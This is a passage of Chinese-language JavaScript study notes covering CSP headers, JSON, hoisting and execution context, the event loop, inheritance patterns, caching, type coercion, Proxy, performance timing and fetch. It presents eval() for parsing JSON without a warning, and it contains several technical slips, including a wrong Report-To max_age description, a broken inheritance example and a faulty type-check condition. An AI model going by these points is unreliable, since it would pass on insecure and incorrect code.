https://testreport.xiaochenabc123.test.com; report-to reportTest' }); default-src是全局限制，还有img-src，script-src，style-src等等限制指定的资源类型，上面的例子中表示的是限制全局资源必须是以http或者https的外联的方式访问，内联方式访问将会报错\n'self'的作用是非本域的资源，限制其加载，也可以设置指定的域的资源可以加载（注意：该限制不会导致form元素的action属性，需要使用form-action 'self'来限制）\nreport-uri的作用是当客户端存在违反CSP的企图是，将违规报告通过post请求的方式（json格式）发送指定服务器（该功能已被web标准抛弃，推荐使用取代品report-to）\nreport-to配置\nReport-To: { \"group\": \"reportTest\", \"max_age\": 10886400, \"endpoints\": [ { \"url\": \"https://reports.xiaochenabc123.test.com\" }, { \"url\": \"https://test.xiaochenabc123.test.com/reports\" } ] },{ \"group\": \"reportTestA\", \"max_age\": 10886400, \"endpoints\": [ { \"url\": \"https://reportsA.xiaochenabc123.test.com\" }, { \"url\": \"https://test.xiaochenabc123.test.com/reportsA\" } ] }, 当发生违规情况时，发送report报告到指定endpoints下的url中，group为report名，max_age是报告的最大大小是多少，可以设置多个report报告，report-to不支持在meta下使用\n如果发生违规情况，但是又不想强制限制资源的加载，只想记录违规情况的时候，可以使用Content-Security-Policy-Report-Only\n浏览器事件循环\n浏览器缓存\njson全成JavaScript Object Notation，用来数据交互，以键值对方式，多个数据用逗号分隔\njson支持字符串，数值，布尔值，数组，对象，null\nJSON.stringify() json转为字符串\nJSON.parse() 字符串转为json\nJSON字符串：和普通字符串没有区别，只是符合语法规则\n例如：\nlet objStr = '{\"name\":\"root\",\"pass\":\"admin\",\"true\": null}' let objArr = '[{\"name\": \"boom\",\"pass\": \"hallo\"},{\"name\": \"aaa\",\"pass\": \"yes\"}]' let obja = JSON.parse(objStr) let objb = JSON.parse(objArr) console.log(obja) console.log(objb) 获取属性和值\n通过对象名.属性名来获取或者修改，例如obja.name\n也可以通过对象名[属性名]来获取或者修改，例如obja[“name”]\n删除对象属性，delete obja.name\nJSON转JavaScript对象（利用eval()来解析json文本）\nlet objStr = '{\"name\":\"root\",\"pass\":\"admin\",\"true\": null}' let objArr = '[{\"name\": \"boom\",\"pass\": \"hallo\"},{\"name\": \"aaa\",\"pass\": \"yes\"}]' let obja = eval(\"(\" + objStr + \")\") let objb = eval(\"(\" + objArr + \")\") console.log(obja) console.log(objb) JSONP postMessage() websocket Node中间件代理 cors nginx反向代理 window.name + iframe location.hash + iframe document.domain + iframe\n执行上下文和执行栈（调用栈）\nJavaScript程序执行分2个阶段，预编译阶段和执行阶段，而执行上下文就是在执行阶段创建完成的\n预编译阶段主要做一些预处理工作，例如创建变量对象（变量提升），执行阶段就会激活这些变量对象（赋值）\n声明阶段会在编译时提升到最上面，当声明完成后，才会执行赋值操作，例如：\nvar a = 1 上面会被编译器处理为\nvar a a = 1 因此可以在编写时在未定义就使用该变量，改变编写时的位置（不再是从上往下依次执行），这就是变量提升\n函数声明可以被提升，而且函数表达式不会被提升，例如：\nabc() function abc(){ console.log('hallo word') } xyz() // xyz is not a function，并不是这个不是函数，而且没有声明，因此这个没有得到提升 var xyz = function(){ console.log('hallo hahaha') } 只有声明本身被提升，赋值和其他操作并不会被提升，而且按照从上往下依次执行，提升只影响声明\n声明提升，函数优先，例如：\nabc() // hallo word var abc abc = function(){ console.log('hallo hahaha') } function abc(){ console.log('hallo word') } 可以看到abc变量最先出现，但是反而输出了hallo word，说明函数声明比变量声明提升的更早，变量abc因为重复声明，被忽略了\n执行上下文：指的是抽象化JavaScript代码执行的环境，当JavaScript代码被执行的时候，都是在执行上下文中运行的\n在JavaScript中有3种执行上下文，分别是全局执行，函数执行，Eval函数执行\n全局：不在函数内部的代码都在全局执行上下文中，一个程序只有一个全局执行上下文\n函数：当某个函数被调用时，为该函数创建一个函数执行上下文（如果被调用多次，会根据定义的顺序来执行（执行栈））\nEval函数：在eval函数内部执行的代码也有自己的执行上下文\n执行栈（调用栈）：指的是一种存在后进先出（LIFO）的数据结构的栈，该栈被用来存储程序运行的时候被创建的全部执行上下文。在JavaScript编译代码的时候，创建一个全局的执行上下文，将这个执行上下文存储在当前执行栈中，只要当碰到函数被调用，再为该函数创建一个新的执行上下文并且存储在栈的顶部，然后执行在顶部的函数，函数执行完毕，该执行上下文从栈中弹出，轮到下一个执行上下文进行，一旦全部代码都执行完毕，全局执行上下文弹出\n执行上下文会经历创建和执行俩个阶段，创建阶段会创建变量环境和词法环境，this绑定（在全局执行上下文中，this的值为全局对象，如果是浏览器的话，this为window对象，在函数执行上下文中，this取决于该函数怎么被调用的，如果是被一个对象调用的，那么this指向该对象，否则就是全局对象）\n词法环境：一种规范类型，用来定义变量名或者函数名和实际对象的关联，一个词法环境有两个组件，分别是环境记录器（用来存储变量和函数声明的实际位置），外部环境的引用（可以访问父级词法环境）\n词法环境有俩种类型：全局和函数，全局环境（全局执行上下文）是不存在有外部环境引用的，该环境拥有用户定义的全局变量，并且this执行全局对象。而在函数环境中，在函数内部定义的变量会被存储在环境记录器中，引用该环境的外部环境可能是全局，又或者是其他包含该函数的外部函数\n环境记录器也是有俩种，分别是声明式（函数环境）和对象式（全局环境），声明式会存储变量，函数以及参数（还会传递arguments（存储索引和参数映射）和length（函数参数））。而对象式被用来定义出现在全局上下文中的变量和函数之间的关系\n变量环境：在ES6中，只有使用var定义的变量才能使用变量环境来存储（let和const则是词法变量），在创建阶段，变量初始值为undefined（var）和未初始化（let和const）\nJS底层运行机制：EC/VO/AO/GO/EC/ECS/Scope/Scope Chain/Lexical Environment/Variable Environment\nJS执行环境（EC），变量对象（VO），活动对象（AO），GO对象，作用域（scope）作用域链（scope chain）\nJS执行环境（EC），EC全称为Execution Context，又叫执行上下文\n变量对象（VO），VO全称Variable Object，该对象存储了当前上下文中定义的变量和函数，在全局作用域中，变量对象就是全局对象\n活动对象（AO），AO全称Activation Object，该对象在进入函数执行上下文时被创建，AO对象存储了该函数的参数变量\nGO对象，GO全称Clobal Object，该对象存储了所有调属性和方法，并且在全局中创建一个window变量指向这个GO对象，因此GO对象实质上就是全局对象\nECS：ECS全称Execution Context Stack，就是执行上下文栈，又叫执行栈\nScope：作用域\nScope Chain：作用域链\nLexical Environment：词法环境\nVariable Environment：变量环境\n函数的运行：\n编译阶段：创建一个堆内存，声明当前函数的作用域，作用域和执行上下文相关，将函数内部语句块以字符串的形式存储在堆内存中，函数名指向该函数的堆内存地址\n执行阶段：创建函数执行上下文（私有），在函数执行上下文中存储活动对象（AO），初始化操作（初始化作用域链，this指向，arguments，形参赋值，变量提升），执行语句（调取堆内存中存储的字符串，以上下文的形式依次执行）\nScope Chain查找机制：检查在执行阶段的变量是否为私有变量，如果都是私有，那么直接操作私有，如果不是私有的，按照Scope Chain，向上级作用域查找，一直查找到全局作用域为止\n所谓的变量提升只是在编译阶段识别被创建的变量，在这个阶段中使用var和function定义的变量初始化的值被设置为undefined，而使用let和const定义的变量还是未初始化（暂时不能使用的状态），直到定义被执行才被初始化\nJavaScript是即时编译即时执行的机制，在执行一个函数之前，都会立刻编译该函数，然后创建执行上下文，在执行上下文中有个存储空间叫变量环境，这个环境存储着由var定义的变量，因为var定义的变量都在编译的时候已经存储了，在执行时的任何时间段都是可以访问调用的\n而使用const和let定义的变量，在编译完成的时候，执行之前，将变量名存储在词法环境中，在没有声明该变量之前是会存在暂时性死区（变量已经被上下文记录，但是不能使用）\nEventloop（事件循环）：事件循环实质上就是避免js单线程的时候出现堵塞，也是异步的原理\na programming construct that waits for and dispatches events or messages in a program.\nEvent Loop 任务分为两种，分别是宏任务（MacroTask）和微任务（MacroTask）\n所有同步任务会根据顺序被主线程依次执行，执行栈（execution context stack），而除主线程外，还有一个任务队列（task queue），当碰到异步任务完成了，任务队列就会告诉主线程，某个异步任务可以执行，这时这个异步任务才会进入主线程执行（异步任务结束等待，进入执行栈，开始执行），主线程反复操作，这就是事件循环\n宏任务：整体代码script，setTimeout和setInterval，I/O，UI Rendering（ui渲染），setImmediate（node的特性，浏览器已抛弃该API），requestAnimationFrame，事件\n微任务：Promise.then，process.nextTick（node的特性），MutationObserver\n在浏览器上：JavaScript会有一个主线程和执行栈（call-stack），全部任务都会放到执行栈等主线程执行\njs的执行栈是后进先出的数据结构，当某一个函数执行时，将插入到栈的顶部，当执行完毕，从栈顶部弹出。一直到栈被清空，执行栈的所有同步任务执行完成，开始查看任务队列，执行那些异步任务（只有当主线程空了，才能执行任务队列里面的）\n而任务队列是先进先出的数据结构，只有异步任务才能进入任务队列（同步任务在主线程上排队），异步任务必须指定回调函数，主线程执行异步任务实质上就是在执行对应的回调函数。当某个异步任务完成，就会向任务队列添加一个事件，在顶部的任务，会优先被主线程处理\n例如：\nnew Promise((a) =\u003e a()) .then(() =\u003e console.log(\"微任务1\")) .then(() =\u003e console.log(\"微任务2\")) console.log('hallo 我是同步任务1') void setTimeout(() =\u003e { console.log(\"我是定时任务1 宏任务\") }, 1000) void setTimeout(() =\u003e { console.log(\"我是定时任务2 宏任务\") }, 0) void setTimeout(() =\u003e { console.log(\"我是定时任务3 宏任务\") }) setTimeout(function() { console.log('我是宏任务，good bye') }, 1000) Promise.resolve() .then(() =\u003e console.log(\"微任务3\")) .then(() =\u003e console.log(\"微任务4\")) .then(() =\u003e console.log(\"微任务5\")) console.log('hi 我是同步任务2') 微任务列表是先进先出，先进入的，就先执行\n运行过程：同步任务执行（主线程），当同步任务为null，检查任务队列是否为null，不为null，宏任务（script任务）进入执行栈，在主线程执行前进行判断，（微任务和宏任务都是异步任务），如果微任务队列不为null（script任务执行过程中遇到微任务，将微任务添加到微任务排列），优先执行微任务，当微任务都执行完毕，执行下一个宏任务\nsetTimeout定时器最小延迟时间为4ms，在4ms以内的定时都将视为同一个最小延迟时间，将根据先进先出处理\n例如：\nsetTimeout(function() { console.log('hallo') }, 1) setTimeout(function() { console.log('hhhh') }, 0) console.log('abcabc') setTimeout()方法的返回值是整数，这个整数是该定时器的编号，可通过clearTimeout()方法来取消该定时器，例如clearTimeout(123)，假设该定时器编号为123\nDOM事件级别\nDOM0 函数赋值到一个事件中（可以绑定多个同类型事件），例如onclick=function(){}或者在元素内添加事件\nDOM2 使用监听，可以移除或者添加监听，例如addEventListener(‘click’, test, false)\nDOM3 在DOM2级基础上添加更多事件类型，例如键盘事件addEventListener(‘keyup’, test, false)\nDOM1因为没有定义事件相关的内容，所有没有DOM1级模型\n捕获（从祖先元素捕捉到子元素，精确到目标元素） 冒泡（从目标元素往上冒泡，一直到window元素）\n创建对象的方法\nlet a = {data: “hallo word!!!”} let b = new Object({data: “hallo word!!!”}) let c = function(){this.data=“hallo word!!!”} let d = new c() let e = Object.create(a)\n继承的方法\n通过原型链继承\nfunction test(){ this.data = 123 } function main(){ this.type='main' } main.prototype = new test() // main.prototype.__proto__ = test.prototype console.log(new main) 缺点就是如果进行修改对象，那么其他通过其父类实例继承的对象，都会被修改(引用类型），而且也不能向父类构造函数传递参数\n通过构造函数继承\nfunction test(){ this.data = 123 } function main(){ test.call(this) this.type='main' } console.log(new main) 实质上是通过改变test的this指向，将其指向到main，这个只能继承父类构造函数的属性，不能继承原型链上的方法（prototype）\n盗用构造函数（对象伪装/经典继承）\nfunction test(){ this.data = [123,666,\"hahahah\"] } function main(){ test.call(this) } let a = new main() let b = new main() a.data.push(\"hallo word\") console.log(a,b) 会发现a和b的data都是独享的，不会存在改变a，b也跟着改变，原理就是通过call改变this指向，指向当前的test，因为使用的call，还可以给父类传递参数，缺点就是无法复用父类方法，因为每次实例化，都要重新声明父类的方法\n组合继承（伪经典继承，将原型链和盗用构造函数方式结合）\n原理就是通过原型链继承父类的属性和方法，再用盗用构造函数继承实例的属性（可以确保方法可复用，每个实例都有自己的独享属性）\nfunction test(){ this.data = [123,666,\"hahahah\"] } function main(){ test.call(this) } main.prototype = new test() let a = new main() let b = new main() a.data.push(\"hallo word\") console.log(a,b) 通过盗用构造函数继承父类的data属性，然后通过原型链，继承父类的原型对象\n缺点就是会调用2次test构造函数（分别是在new，call各调用一次），而且实例和原型都存在相同的属性和方法\n原型式继承（实例继承）（直接给对象赋值给构造函数的原型）\nfunction test(data){ function hallo(){} hallo.prototype = data return new hallo() } 寄生式继承\nfunction test(data){ let hallo = Object.create(data) hallo.abc = function(){ console.log(this.name+this.pass) } return hallo } let data1 = { name:\"root\", pass:\"hallo\" } let main = test(data1) main.abc() 通过接收参数，该参数为被继承的对象，main是基于data1对象创建一个新对象，这个对象有data1的属性和方法，也有自己的abc方法，继承父类之后，进行增强了\n寄生式组合继承（组合继承加寄生式继承）\nfunction test() { this.data = [123,666,\"hahahah\"] } function main() { test.call(this) } main.prototype = Object.create(test) let a = new main() let b = new main() a.data.push(\"hallo word\") console.log(a,b) extends继承（es6继承，通过extends关键字继承）\nclass test { constructor(name=\"root\",data=\"hallo\") { this.name = name this.data = data } hallo(){ console.log(`${this.name} ${this.data}`) } } class main extends test { constructor(name=\"admin\",data=\"hahaha\") { super(name,data) } hallo(){ super.hallo() } } let abc=new main('user') abc.hallo() 通过extends关键字创建父类的实例this，然后在子类class中修改this，必须通过父类构造函数来得到父类的属性和方法（super方法）\n浏览器缓存的分类\n强缓存（本地缓存，不用请求，直接拿来用）， expires和control\nexpires是http1.0定义的缓存字段，expires字段为资源的过期时间，这个字段是时间戳，这个会导致客户端时间和服务端时间之间时间差问题（因为请求的时候使用的客户端的事件）\ncontrol（cache-control）是http1.1中定义的字段，用来解决expires存在的问题，该字段是一个时间长度，表示多少秒后过期（相对于客户端），当expires和cache-control都存在时，cache-control优先级高\n协商缓存（当拿到该缓存，会向服务端进行确认，确认其是否要用，缓存有没有更新），last-modified和etag\nlast-modified会在获取到某资源的时候记录资源的修改时间，当第二次获取到的时候，会对比时间，精确到秒（1秒内的更新，不会被记录），如果对比修改时间，发现没有修改，那么继续使用该缓存并且返回304，如果被修改那么重新获取，并且记录新时间，而且存在时间上修改了，但是内容没有修改的问题，etag就是解决这个的\netag会基于内容编码生成唯一的标识，只要内容不一样，标识就一定不一样，判断是否被修改，直接判断标识是否一致，一致则直接使用缓存并且返回304，不一致就是获取新的缓存，并且记录etag值\n因为JavaScript没有类型声明，可以进行类型的强制转换，手动转换（明确转换）的叫显式转换类型，自动转换（隐式，由编译器自动处理）的叫隐式转换类型\nObject.prototype.toString()返回表示该对象的字符串\nObject.prototype.valueOf()返回对象的原始值\nSymbol.toPrimitive效果和valueOf()类似，只是优先级比valueOf()高，并且接受一个hint参数（该参数被用来指定要转换的原始值的具体类型）\n隐式转换过程：优先调用对象的valueOf()方法，返回原始值，如果不能处理则调用对象的toString()方法转换为字符串，进行字符串拼接，否则报错（cannot convert object to primitive value）\n隐式类型转换例子：\ntrue + 1 === 2 // true 布尔值加整数，居然绝对等于（类型和值都等于）一个整数，这说明类型已经被转换了\n+加号不但可以用来算术运算，还可以做字符串拼接\n字符串加数字，数字自动转字符串\n\"123\" + 666 // '123666' 数字减字符串，字符串自动转数字，如果字符串不是纯数字，那么输出为NaN\n123 - \"100\" // 23 相等\n==，当类型不相同时，进行类型转换，再进行比较\n===，首先进行判断类型是否相同\nundefined==null // true \"0\" == false // true 比较\n\"3\" \u003e \"10\" // true 字符串和字符串比较就算了，为啥字符串3大于字符串10，类型转换了也不应该啊\n实质上并没有做类型的转换，因为其比较的时候调用了charCodeAt()方法，返回值是整数，这个整数表示则该字符的Unicode编码\n所以实质上是\"3\".charCodeAt() \u003e “10”.charCodeAt()\n表示\"3\"的Unicode编码为51，“10\"的为49\ncharCodeAt()方法可以将字符串转Unicode编码，该方法必须要写index参数，如果没写默认参数值为0\nlet abc = \"你好\" console.log(abc.charCodeAt(1)) // 22909 该值为\"好\"的Unicode编码 同样也可以将Unicode编码转字符串fromCharCode()方法\nlet a = String.fromCharCode(51) console.log(a) // 3 console.log(typeof(a)) // 'string' proxy对象属于一种元编程（meta programming），proxy可以拦截对象，外部进行调用该对象时，必须通过这个拦截，这个拦截器可以对外部的调用进行过滤和查找赋值等等，另外Vue3.0的数据双向绑定（响应式）实现原理就是proxy\nES6提供了Proxy构造函数，来new Proxy()实例，Proxy实例具备有2个参数，分别是target, handler\nlet proxy = new Proxy(target, handler)\ntarget参数是要拦截的对象，handler参数为拦截后的行为（也是对象）\nProxy支持13种拦截行为，分别是：\nget()：读取属性\nset()：修改属性\nhas()：in操作符，判断某个属性是否存在于这个对象之中\napply()：当Proxy拦截函数时\nconstruct()：当使用new关键字时\ndeleteProperty()：当使用delete删除对象的属性时\ndefineProperty()：当使用Object.defineProperty修改属性修饰符时\nownKeys()：当使用Object.getOwnPropertyNames()，Object.getOwnPropertySymbols()，Object.keys()，Reflect.ownKeys()获取对象的信息时\ngetPrototypeOf()：当使用Object.getPrototypeOf()读取对象的原型信息时\nsetPrototypeOf()：当使用Object.setPrototypeOf()设置对象的原型时\nisExtensible()：当使用Object.isExtensible()判断对象是否可以添加新的属性时（Reflect.isExtensible()操作也会触发）\npreventExtensions()：当使用Object.preventExtensions()设置对象不能添加新的属性时\ngetOwnPropertyDescriptor()：当使用Object.getOwnPropertyDescriptor()获取该对象的自有属性（自有属性指该对象所有，不需要通过原型链获取该属性）的属性描述时\n这里只写最常用的get()和set()\nconst abc = { name: \"chenjunlin\", pass: \"123456789\" } const proxy1 = new Proxy(abc, { get(target, property, receiver) { if (property in target){ return target[property] }else{ return '读取失败' } }, set(target, property, value, receiver){ target[property] = value console.log(`${property}属性被设置值`, value) } }) console.log(proxy1.name) console.log(proxy1.pass) console.log(proxy1.hallo) proxy1.name = \"root\" console.log(proxy1.name) proxy1.pass = \"123\" console.log(proxy1.pass) target是拦截对象，property是被拦截获取到的属性，value是新的属性值，receiver是Proxy对象本身（指向this对象，如果是继承的，那么该值为继承的Proxy对象）\nReflect是提供拦截对象操作的方法，其不是构造函数，不可通过new创建和调用Reflect，其拦截的方法和Proxy相同\n例如：\nconst obj = { name: \"root\", pass: \"123\" } Reflect.get(obj, \"name\") Babel编译工作\nBabel的核心功能就是编译ESNext，进行降级，保证兼容性，编译的核心就是通过AST（语法抽象树）对源码进行分析，并且转换为目标代码，解析成AST是方便计算机理解源码是干什么的，而Babel解析器是Babylon\n像解析let const时，直接转换为var，并且判断编译阶段的const是否存在二次赋值，如果存在就是报错，块级作用域通过立即调用函数实现（例如匿名函数），针对暂时性死区，使用JavaScript严格模式实现\n前端性能指标\n首次绘制时间（FP）：页面发生第一次绘制时间，首次不同于上次跳转之间的内容\n首次有内容绘制时间（FCP）：浏览器渲染完成DOM的部分内容（可以是文本，也是可以是其他带内容的（或者说有视觉效果的））的时间\n首次有意义绘制时间（FMP）：页面关键内容的绘制时间（根据不同需求而定）\n首屏时间：完成整个屏幕内容渲染的时间（不包括滚动）\n用户可交互时间：用户可与页面进行交互的时间，DOMReady（html元素转换为DOM树完成（DOMContentLoaded事件），不包括加载外部文件）\n视觉稳定性指标（CLS，Cumulative Layout Shift）：指页面从一帧到另一帧时，不稳定元素的偏移量（也叫布局偏移量）\nFID（First Input Delay，首次输入延迟）\nPSI（Perceptual Speed Index，视觉变化率）\nFPS（Frames Per Second，每秒显示帧数）\n白屏时间：从页面发送刷新或者跳转后到页面出现第一个字符的时间\n白屏时间FP = domLoading - navigationStart\n可能导致白屏时间过长的原因：dns查询，tcp请求连接，服务端响应速度，关键资源下载，解析，渲染，资源体积\n首屏时间（服务端渲染应用用DOMContentLoaded时间，客户端渲染应用MutationObserver）：白屏时间加渲染时间\nMutationObserver接口可以监视DOM元素，因为客户端渲染应用是在客户端通过ajax请求的方式进行显示内容的，DOMContentLoaded时间并不能实质表示客户端渲染应用的首屏时间，应该监听某个最后的DOM元素，当其加载完成了，这个时间才算首屏时间，当然MutationObserver并不能计算图片加载时间，因为图片加载是异步的\n首屏时间数据：平均值，分位值（例如P99，将全部首屏时间排序，第99位的首屏时间就是P99，除了P99，还有P50,P90）,秒开率（1秒内打开的用户的比率，还有1.5秒开率，2秒开率）\n首屏时间优化：懒加载（加载关键内容，延迟加载其他内容，按需加载），缓存（减少重复请求），离线化，请求并行化（域名散列或者HTTP2.0多路复用）\nDNS查询优化：浏览器提供预获取DNS接口，可在浏览器建立DNS缓存，减少DNS查询所耗费的时间\nDNS查询优先级：浏览器缓存\u003ehosts\u003e路由器缓存\u003eDNS服务器缓存（ISP）\u003e根服务器缓存\nChrome浏览器默认缓存60秒，如果之间访问过了该域名，那么在60秒内将不会重新获取DNS缓存，而是直接调用浏览器的DNS缓存，减少DNS查询耗费的时间\n开启DNS预解析\n尝试对a.xiaochenabc123.test.com域名做预解析（不能用来对当前域名做预解析，因为当得到这个资源时，早就得到当前域名的解析IP）\n预连接\n预加载（会提升该资源加载的优先级，加载和执行是不同的，加载完成并不会执行，需要手动执行）\n预判加载（会降低该资源加载的优先级，因此只有当空闲时才会加载这个）\nHTTP请求优化：解决请求阻塞（请求阻塞（Stalled）是浏览器为了确保访问速度，对同一域名下的资源限制在一定的请求数，超过该请求数就会阻塞）\n以目前版本的Chrome浏览器来说，其最大请求数是6个（http1.1），超过6个请求数时，只能等待前面的请求后再进行请求，请求阻塞只针对同一域下的，只需要将资源用不同的域名散列（实质请求数限制将表示为域名数 * 浏览器最大请求数）\n例如将某个静态资源服务器，分成多个域名，例如，a.xiaochenabc123.test.com，b.xiaochenabc123.test.com，那么请求数就是可以达到12个\n资源Gzip压缩，避免301和302重定向，骨架屏\n性能数据获取\nwindow.performance\nconst TimeData= window.performance TimeData.memory // 该字段表示JavaScript对内存的占用 console.log(TimeData.memory) memory字段有三个属性（这些属性都是只读的，而且只有Chrome内核的浏览器才有这些属性，是非标准），分别是jsHeapSizeLimit（内存大小的限制），totalJSHeapSize（可以使用的内存），usedJSHeapSize（JavaScript对象占用的内存（包括V8内部对象））\nconsole.log(TimeData.navigation) navigation字段有两个属性，分别是redirectCount（获取某个资源需要重定向几次才能得到）和type（该属性有4个值，0表示是通过正常访问的（TYPE_NAVIGATENEXT），1表示通过刷新访问的（TYPE_RELOAD ），2表示通过前进后退按钮访问的（TYPE_BACK_FORWARD，历史记录），255表示不是这些方式之外访问的（TYPE_UNDEFINED））\ntimeOrigin字段\nconst datea = new Date(TimeData.timeOrigin) console.log(datea) console.log(TimeData.timeOrigin) 返回性能测量开始时的高精度时间戳\ntiming字段虽然已被w3c标准抛弃，但是这玩意的接口很强大\nconsole.log(TimeData.timing) 可以看到输出了21个属性，这些属性分别是\nconnectEnd: http连接成功的时间（建立连接） connectStart: http开始建立连接的时间（开始连接） domComplete: dom解析完毕的时间，资源也准备就绪（Document.readyState值为complete） domContentLoadedEventEnd: DOMContentLoad事件结束时间，dom解析完毕，并且资源加载完毕 domContentLoadedEventStart: DOMContentLoad事件开始时间，dom解析完毕，开始加载资源 domInteractive: 解析html文档，dom树创建完毕的时间，资源还没加载（Document.readyState值为interactive） domLoading: 开始解析渲染dom树的时间（Document.readyState值为loading） domainLookupEnd: DNS查询域名结束时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） domainLookupStart: DNS查询域名开始时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） fetchStart: 浏览器准备发起第一个资源请求的时间（检查缓存之前） loadEventEnd: load事件结束的时间 loadEventStart: load事件开始时间 navigationStart: 前一个页面的unload时间（当前窗口的前一个页面的关闭并且发生unload事件时），如果没有前一个页面，则表示fetchStart时间 redirectEnd: 最后一个http重定向发生时的时间 redirectStart: 第一个http重定向发生时的时间 requestStart: http连接完成并且请求真实文档的时间 responseEnd: http返回响应并且全部接收完成的时间（接收最后一个字节） responseStart: http开始接收响应的时间（接收第一个字节） secureConnectionStart: http连接开始的时间（和connectEnd类似），如果不是安全连接返回0 unloadEventEnd: 前一个页面中的unload事件所绑定的回调函数执行完毕的时间 unloadEventStart: 前一个页面中的unload事件触发的时间，如果没有前一个页面或者前一个页面和当前页面不在一个域中时，返回0\n单位： Unix毫秒时间戳（基于UTC1970.01.01 00:00:00到现在的总毫秒数）\n重定向时间：redirectEnd - redirectStart\ndns查询时间：domainLookupEnd - domainLookupStart\ntcp建立连接并且完成握手时间：connectEnd - connectStart\n内容加载完成时间：responseEnd - requestStart\nDNS缓存时间：domainLookupStart - fetchStart\n卸载页面的时间: unloadEventEnd - unloadEventStart\nrequest请求耗费时间（重定向）：redirectEnd - redirectStart\n解析DOM树耗费的时间：domComplete - responseEnd\n白屏时间：domLoading - fetchStart\n用户可交互时间：domContentLoadedEventEnd - fetchStart\n前一个页面卸载耗费的时间：unloadEventEnd - unloadEventStart\nonload回调函数的执行时间：loadEventEnd - loadEventStart\n用户等待页面完全可用时间（页面加载完成）：oadEventEnd - navigationStart\ncookie\ncookie默认是临时的，浏览器关闭进程就会自动销毁，并且cookie是纯文本\n通过document.cookie = “xxx\"来修改cookie\ncookie存储大小限制在4kb\nFetch api允许在JavaScript发起http请求和响应，使用Promise\nfetch('https://api.github.com/') .then(response =\u003e response.json()) .then(data =\u003e console.log(data)) .catch(err =\u003e console.log('Request Failed', err)) 可以看到fetch接收一个url参数，并且具备then和catch方法，并且response接收到数据是stream对象，并且将这个stream对象转换为json对象\nfetch只有当网络故障或者请求被阻止时才报错，因此不管是否请求成功（例如404或者502）\nresponse对象还有一些属性，例如response.ok（表示是否请求成功，http状态码在200-299的范围时），response.status（http状态码），response.url（请求的url，如果有跳转，那么该属性值为最终的请求地址），response.redirected（请求是否发送跳转），response.headers（请求头）等等\n例如： async function getData(url = “\",data={}){ const response = await fetch(url, { method: ‘GET’, headers: { “Content-type”: “application/x-www-form-urlencoded”, }, }) return response.json() } getData(‘https://api.github.com/') .then(data =\u003e { console.log(data) })\n基础类型存储在栈内存中，在引用或者拷贝时，创建一个完全相等的变量\n引用类型存储在堆内存中，存储的是内存地址，多个引用可以指向同一个地址（内存共享）（return会改变引用的地址）\n类型检测\ntypeof（不能用来检测null类型，null不是object类型，另外object类型除了function可以检测出来外，其他都是objet，因此typeof可以检测基础类型以及function，其他类型就不适合了））\ninstanceof（不能正确判断基础数据类型，但是可以判断引用类型）\n在不知道数据类型的情况下做数据类型判断，可以先用typeof abc !==‘object’ || abc !==null筛选出基础类型（null除外，如果是null直接返回null），如果是基础类型直接用typeof获取数据类型，如果不是再用instanceof判断引用类型\nObject.prototype.toString（该方法可以返回某值的数据类型，返回值类型是字符串，格式统一为[object 数据类型]），如果不想要object，只要后面的数据类型，只需要将返回值进行正则一下就是可以了（replace(/^[object(\\S+)]$/, ‘$1’)）\nfunction a(){ console.log(\"hallo\") } let b = { name: \"abc\", pass: \"123\" } let c = [1,3,5,7,9] let d = new a let e = 'hallo word' console.log(typeof a) // function console.log(typeof b) // object console.log(typeof c) // object console.log(a instanceof Function) // true console.log(b instanceof Object) // true console.log(c instanceof Array) // true console.log(d instanceof a) // true console.log(e instanceof String) // false console.log(Object.prototype.toString.call(null)) // [object Null] console.log(Object.prototype.toString.call(e)) // [object String] 数据类型转换（显式类型转换（强制类型转换）和隐式类型转换（自动类型转换））\n强制类型转换方法：Number()，Boolean()，String()，parselnt()，toString()，parseFloat()\nNumber()规则：如果值是布尔值，true转1，false转0。如果是整数，返回自身。如果是null，返回0。如果是undefined，返回NaN。如果是字符串，包含整数，转换为十进制，包含浮点格式，转换浮点数，空字符串为0，其他情况均为NaN。如果是Symbol，抛出错误，如果是对象，调用该方法，如果返回值为NaN，调用其对象的valueOf()方法\nBoolean()规则：undefined，null，0，+0，-0，’’，false，NaN均为false，其他情况都为true\n隐式类型转换\n==：如果类型相同，不转换类型，如果有个值为null或者undefined，只有当另一个是null或者undefined，才返回true，否则都为false，如果有个值为Symbol类型，返回false。如果俩个值为Sting和Number类型，Sting类型的那个将转换为number类型，如果有值的类型为boolean，则转换为number，如果有值类型为object，另一个值为number，string或者symbol时，先将object转换为原始类型再判断\n传说中的console.log(abc==1 \u0026\u0026 abc==2 \u0026\u0026 abc==3)，就是利用了==的隐式类型转换规则，这个abc实质上是个对象，==隐式类型转换如果是对象，会先尝试将其转换为基础类型，如果不行会调用其valueOf()方法，而且这个valueOf()方法就是定义其返回值的，并且通过this获取当前被调用的返回值\nlet abc = { value: 0, valueOf: function(){ this.value++ return this.value } } console.log(abc==1 \u0026\u0026 abc==2 \u0026\u0026 abc==3) +：加号被用于数值相加和字符串拼接，如果两边值都是字符串，则直接拼接字符串。如果有个是字符串，另一个是unll，Boolean类型或者undefined时，调用toString()方法（该方法的返回值为字符串类型的），然后再进行字符串拼接。如果有个是数值，另一个是number类型，则进行加法处理，如果另一个是null，undefined，boolean则转换为number类型再加法处理。如果一个是number类型，另一个是string类型，则将number类型那个转换为string类型，然后再字符串拼接\nobject隐式转换规则：如果有Symbol.toPrimitive()方法，则优先调用该返回再返回，如果没有该方法，并且object不能转为基础类型，则自动调用valueOf()方法，如果该方法返回了基础类型，则返回，如果还是不行则调有toString()方法（实质上就是返回其字符串），如果能转换为基础类型，则返回，如果还是没有返回基础类型，则抛出错误\n浅拷贝：如果是基础类型，拷贝的是基础类型的值，如果是引用类型，拷贝的是内存中的地址，如果改变该引用类型的值，会影响使用了该内存地址的全部引用类型的值\nObject.assign()方法可以实现浅拷贝（不拷贝继承属性，不拷贝不可枚举属性，但是可以拷贝Symbol类型的对象）\n对象的不可枚举属性通过enumerable: false设置\nlet hallo = {} let hi = { name: 'admin', pass: 'abc123' } Object.assign(hallo,hi) console.log(hallo) hi.name = 'xiaochen' console.log(hallo) console.log(hi) 扩展运算符(…abc)\nlet hi = { name: 'admin', pass: 'abc123', data: { id: 1, text: \"hallo word\" } } let hallo = { ...hi } console.log(hallo) console.log(hi) hi.name = 'user' console.log(hallo) console.log(hi) hi.data.id = 10 console.log(hallo) 